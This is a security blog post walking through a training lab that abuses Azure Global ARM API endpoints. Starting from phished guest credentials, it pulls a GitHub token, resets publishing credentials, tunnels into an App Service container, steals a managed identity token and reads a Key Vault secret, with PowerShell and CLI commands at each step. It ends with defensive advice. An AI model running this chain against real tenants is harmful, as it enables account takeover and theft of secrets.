Abusing Global ARM API - Publishing User Compromise
- Prajwal Pandey
- 1 hour ago
- 9 min read
Welcome to this deep dive into Azure security. Whether you are a red teamer, cloud security engineer or just curious about how Azure internals work, this blog has something for you.
In this blog, we will discuss the concept of Global Azure Resource Manager (ARM) API endpoints and how they can be abused in certain Azure attack scenarios. To demonstrate this, we will walk through a hands-on lab from Altered Security's Red Labs platform (https://redlabs.enterprisesecurity.io/), where multiple Azure services are chained together to simulate a realistic attack path leading to the extraction of sensitive data from an Azure Key Vault.
What are Global ARM API Endpoints?
Before diving into the attack, it is important to understand what makes Global ARM API endpoints special and why they are dangerous.
Azure Resource Manager (ARM) is the deployment and management service for Azure. ARM API calls are scoped to a subscription, resource group or management group and Azure RBAC enforces access control at those scopes. However, some ARM endpoints are not tied to a specific subscription, resource group or management group. These are known as Global ARM API endpoints.
The critical issue with these endpoints is that when accessed using guest user credentials, they return data belonging to the user's home tenant, not the guest tenant. This effectively violates tenant isolation boundaries, since the guest account is supposed to operate within the constraints of the tenant it was invited into.
The endpoints are:
/providers/Microsoft.Web/sourcecontrols : Returns all configured source control integrations (GitHub, Bitbucket etc.) along with the tokens used for these integrations in plaintext. A token is present only if the user previously configured a deployment using at least the Website Contributor role.
/providers/Microsoft.Web/publishingUsers/web : Manages user-level deployment (publishing) credentials. These credentials are account-wide, not scoped to a single app, and can be used to authenticate to the Kudu SCM service of any web app the user has access to in any tenant.
The key insight here is: the above endpoints expose home tenant secrets using guest tenant authentication.
Understanding the Key Component
Guest User:
A Guest User is a user who has an account in an external Microsoft Entra organization or an external identity provider (for example, a social identity like Gmail, Outlook etc.) and has guest-level permissions in the resource organization. The user object created in the resource Microsoft Entra directory has a UserType of Guest.

When the guest tries to access a resource in the tenant they were invited to, Azure redirects them to authenticate against their home tenant or IdP not the resource tenant. This means:
If the guest is from another Azure AD/Entra ID org : They authenticate against their home Entra ID
If the guest uses a Microsoft personal account (Outlook, Hotmail) : Microsoft Account (MSA) is the IdP
If the guest uses Google, Gmail or a SAML/OIDC federation : The external IdP handles authentication
After successfully authenticating with their home IdP, the user receives an access token scoped to the resource tenant.
Once the guest holds a valid token from the resource tenant, Azure evaluates their permissions based on RBAC roles assigned to their guest object in that tenant.
Putting It Into Practice:
Now that we have a solid understanding of the key component and the guest user authentication flow, let's hop into the lab and see how this all plays out in practice.
Before diving into this lab, we recommend checking out our previous blog, where we explored a different attack scenario involving Global ARM API endpoints.
Scenario:
Our victim is a user from the Red Team Labs tenant who was invited into our attacker-controlled tenant as a B2B guest user for collaboration purposes. This is a common scenario in enterprise environments where organizations frequently invite external users into their tenants for shared projects, development work or temporary access requirements.
At some point, we successfully phished the victim and obtained their credentials. However, there was one major limitation: direct access to the victim’s home tenant was protected by MFA. Even with the correct username and password, authenticating directly against the home tenant would fail because the second factor could not be satisfied.
Instead of attacking the home tenant head-on, we shifted focus to the one environment where the victim already had a trusted presence: our own attacker-controlled tenant. Since the victim had previously accepted the B2B invitation, Entra ID recognized them as a legitimate guest user in our tenant. That gave us two valuable pieces of information:
The victim’s credentials
The tenant ID of the attacker-controlled tenant where the victim existed as a guest user
You can directly access the lab here: https://redlabs.enterprisesecurity.io/lab-exam/PremiumLabs/otLX8KKCe1bOHl1B7UAAAU. Hit Start Lab, give it around 5 minutes to provision, and you're good to go.
All you need is a Google account to sign in to the Red Labs platform.

With our guest credentials ready, let's get into it
We start by opening a PowerShell session and logging in to the guest tenant using the credentials provided with the lab:
Connect-AzAccount -Tenant "<GuestTenantId>"
After authenticating, we verify the tenant context:
$tenantId = (Get-AzContext).Tenant.Id
$response = Invoke-AzRestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/tenantRelationships/findTenantInformationByTenantId(tenantId='$tenantId')"
$tenantInfo
This confirms we are operating in the guest tenant.
Using the guest tenant credentials, we call the source controls endpoint with Invoke-AzRestMethod :
Invoke-AzRestMethod `
-Uri "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-11-01" `
-Method GET
The response returns a GitHub source control entry containing a plaintext ghs_* server-to-server token. The token belongs to the user’s home tenant GitHub integration, yet it is exposed through requests authenticated with Guest tenant credentials. This demonstrates the core tenant isolation violation.
Note: For the Lab we are using server to server token ghs_*, in practice this could be a Personal Access Token (PAT).
Next, we set the retrieved token as the GH_TOKEN environment variable (used automatically by the GitHub CLI):
$env:GH_TOKEN = "<TOKEN_FROM_PREVIOUS_STEP>"
We then verify authentication using:
gh auth status
Next, we listed the repositories accessible to the token:
gh repo list
From the returned repositories, we clone the target repository:
gh repo clone <owner>/<repo-name>
Inside the cloned repository, we discover a variables.tfvars file, a Terraform variable definitions file used to store environment-specific values separately from the main infrastructure code. The file reveals the name of the target Web App:
$RepoPath = Join-Path -Path $PWD -ChildPath "<repo-name>"$FilePath = Join-Path -Path $RepoPath -ChildPath "variables.tfvars"
Get-Content -Path $FilePath
Using the webapp_name from the variables.tfvars file, we open the Web App in a browser:
https://<webapp_name>.azurewebsites.net
To check whether Basic Authentication is enabled, we navigated to:
https://<webapp_name>.scm.azurewebsites.net/basicauth
The browser prompted us for a username and password, confirming that BasicAuth is active on this Web App.
Note: Basic Authentication is disabled by default for Azure Web Apps. In this context, it has been intentionally enabled for this Web App to demonstrate the scenario.

With the Web App name in hand, we use the second Global ARM endpoint /providers/Microsoft.Web/publishingUsers/web to fetch the current publishingUserName:
Invoke-AzRestMethod `
-Uri "https://management.azure.com/providers/Microsoft.Web/publishingUsers/web?api-version=2024-11-01" `
-Method GET
It is worth noting that while the GET request returns the publishingUserName in plaintext, the existing publishingPassword is not returned in the response. This means the only way to make use of these credentials is to reset the password to a value we control, which is exactly what we do next.
$Body = @{
properties = @{
publishingPassword = "<Password>"
}
} | ConvertTo-JsonInvoke-AzRestMethod -Method PUT `
-Path "/providers/Microsoft.Web/publishingUsers/web?api-version=2022-03-01" `
-Payload $Body
Now that we have the publishing username and have successfully reset the password, those are the only two things we need to authenticate to the SCM portal no MFA, no Conditional Access, no additional friction.
Using these credentials, we run a custom Python WebSocket tunnel script that creates a local SSH tunnel into the App Service container by forwarding traffic through the Kudu WebSocket endpoint:
Alternatively, the same result can be achieved directly through the SCM portal.
The tunnel script depends on the websocket-client library, so we install it before running the script
pip install websocket-clientIf a dependency-related error occurs while installing websocket-client, try using:
py -m pip install websocket-clientNext, we set the required variables: the Web App name, publishing username and the password that we had just reset.
$Appname="<WebApp>"$Username="<publishingUserName>"$Password="<publishingPassword>"Next, we run the following PowerShell commands to build the tunnel script:
$kudu_ssh_tunnel | Out-File kudu_ssh_tunnel.py -Encoding utf8py kudu_ssh_tunnel.pyThe script opens a local listener and tunnels traffic through wss://<app>.scm.azurewebsites.net/AppServiceTunnel/Tunnel.ashx
In a new PowerShell tab, we establish an SSH session directly into the container:
ssh root@127.0.0.1 -p <port-from-the-above-output> -m hmac-sha1
Once inside the container shell, we query the Instance Metadata Service (IMDS) to retrieve an access token for the Managed Identity assigned to the Web App:
curl -s -X GET "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" | json_ppThis returns an access_token and client_id for the Managed Identity which lives in the home tenant.

In a new PowerShell session, we use the stolen token to authenticate directly to the home tenant:
$token="<access_token>"$client_id="<client_id>"Connect-AzAccount -Accesstoken $token -AccountId $client_idRunning Get-AzTenant confirms that we are now operating inside a completely different tenant.

We enumerate the Logic App in the home tenant and inspect its workflow definition:
$subscriptionId = (Get-AzContext).Subscription.Id
$resourceGroupName = (Get-AzResourceGroup).ResourceGroupName
$workflowName = (Get-AzLogicApp).Name
$response = Invoke-AzRestMethod -Method GET -Path $response = Invoke-AzRestMethod -Method GET -Path "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Logic/workflows/${workflowName}?api-version=2019-05-01"
$response

The workflow reveals the following behavior:
It is triggered by an HTTP request
It retrieves a secret from Azure Key Vault and returns it in the response
It uses an OAuth policy instead of a SAS token, with an aud claim set to the ARM endpoint and a sub claim restriction.
Next, we inspect the Managed Identity of the Web App:
$webapp = Get-AzWebApp
$webapp.Identity
The identity matches the Subject value defined in the OAuth policy of the Logic App workflow.
This means the Logic App would accept the Managed Identity access token that we already obtained.
Next, we retrieve the Logic App trigger information:
Get-AzLogicAppTrigger -Name $workflowName -ResourceGroupName $resourceGroupName
And then constructed the Logic App trigger URL:
$AccessEndpoint=(Get-AzLogicApp).AccessEndpoint
$trigger_name=(Get-AzLogicAppTrigger -Name $workflowName -ResourceGroupName $resourceGroupName).Name
$logicAppUrl="$AccessEndpoint/triggers/$trigger_name/paths/invoke?api-version=2016-10-01"Using the Managed Identity token, we invoke the Logic App endpoint:
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}$response = Invoke-RestMethod -Method GET -Uri $logicAppUrl -Headers $headers
$response
The Logic App successfully returns the Azure Key Vault secret in the response.
Submit the flag to complete the challenge.
After successfully completing the lab, we receive a completion badge from the Altered Security's Red Labs platform.
The Global ARM API Abuse module consists of two labs and both must be completed to receive the badge.

Summary
This lab demonstrated how multiple seemingly minor misconfiguration could be chained together into a full cross-tenant attack. At the core of the attack was a Global ARM API tenant isolation flaw, a design-level issue that allowed endpoints intended to remain scoped to the home tenant to still be accessed using credentials from a guest tenant.

From that initial foothold, we were able to extract a GitHub token, clone a private repository, recover infrastructure details, reset publishing credentials, SSH into an App Service container, obtain a Managed Identity token and ultimately trigger a Logic App to retrieve a Key Vault secret.
The key takeaway is that guest accounts are not inherently low risk. If a guest user holds any meaningful role in the home tenant, even something as limited as Website Contributor, the Global ARM API may expose credentials and resources that operate entirely outside the guest tenant’s security controls.
Defensive Measures
Use Fine-grained Personal Access Tokens instead of Classic PATs
Classic Personal Access Tokens are not scoped to a single project, they apply to every repository the user owns, making them a high-value target when exposed through endpoints like /Microsoft.Web/sourcecontrols. Fine-grained Personal Access Tokens in GitHub can be scoped down to only the specific repository and permissions actually needed for the deployment. These scoped tokens can be passed to the deployment configuration using the Azure CLI instead of the portal: using the command
az webapp deployment github-actionsExample:
az webapp deployment github-actions add --repo "githubUser/githubRepo" -g MyResourceGroup -n MyWebapp --token MyPersonalAccessTokenDisable Basic Authentication on App Services
Azure allows you to disable Basic Authentication on App Services. Unless there is a specific need, it should be disabled to prevent publishing credential abuse.
Navigate to: App Service → Configuration → General Settings → Disable FTP and Basic Auth publishing.
Configure OpenID Connect (OIDC) for GitHub Actions
Storing secrets for GitHub Actions deployments is unnecessary and risky. OIDC eliminates stored secrets entirely by establishing a federated trust between Entra ID and GitHub, scoped to a specific repository and workflow. An Entra ID App Registration and Service Principal are created and assigned access on the relevant resource. A Federated Identity Credential is then configured to define the trust. On the GitHub side, only identifiers are stored: client ID, tenant ID and subscription ID with id-token permissions enabled in the workflow. At runtime, GitHub Actions requests an OIDC token, presents it to Entra ID and if the federated trust is satisfied, Azure issues a short-lived access token. The workflow runs as the Service Principal with no secrets involved, no rotation required and no risk of credentials appearing in plaintext API responses.
Apply Network Restrictions to Kudu/SCM Endpoints
Restrict access to the SCM endpoint (*.scm.azurewebsites.net) using IP restrictions or VNet integration to prevent exploitation from arbitrary internet hosts.
Manage External Collaboration to Minimize the Attack Surface
External collaboration settings in Microsoft Entra ID should default to blocking all external tenants, with only trusted partners, vendors or collaborators explicitly allow-listed. Even for allow-listed tenants, access should be scoped tightly to specific users or groups rather than the entire organization. Inbound trust settings should be configured to require MFA to be re-satisfied within your tenant, regardless of whether the guest's home tenant has already done so. This ensures that a compromised guest account cannot be leveraged beyond its explicitly permitted scope.
For a deeper dive into this topic, we covered this attack chain in detail during a webinar. You can find the recording and slide deck in the Lab Materials section under the Premium Labs category on the Altered Security Red Labs portal.
Reference
Original Research : https://dazesecurity.io/blog/AbusingGlobalARMAPIs
MS DOCS:
https://learn.microsoft.com/en-us/entra/external-id/authentication-conditional-access
https://learn.microsoft.com/en-us/azure/app-service/overview
https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment?tabs=github
https://learn.microsoft.com/en-us/azure/logic-apps/logic-apps-securing-a-logic-app?tabs=azure-portal
https://learn.microsoft.com/en-us/azure/app-service/resources-kudu
https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable?tabs=portal
https://learn.microsoft.com/en-us/azure/app-service/deploy-configure-credentials?tabs=portal
https://learn.microsoft.com/en-us/cli/azure/webapp/deployment/github-actions?view=azure-cli-latest
https://learn.microsoft.com/en-us/azure/app-service/app-service-ip-restrictions?tabs=azurecli
https://learn.microsoft.com/en-us/azure/developer/github/connect-from-azure-openid-connect
GitHub Access Tokens: https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens
Kudu Wiki: https://github.com/projectkudu/kudu/wiki/
Azure never disappoints when it comes to weird attack paths. Thanks for reading.
Posted by:
Prajwal Kumar Pandey
Azure Security Researcher @ AlteredSecurity



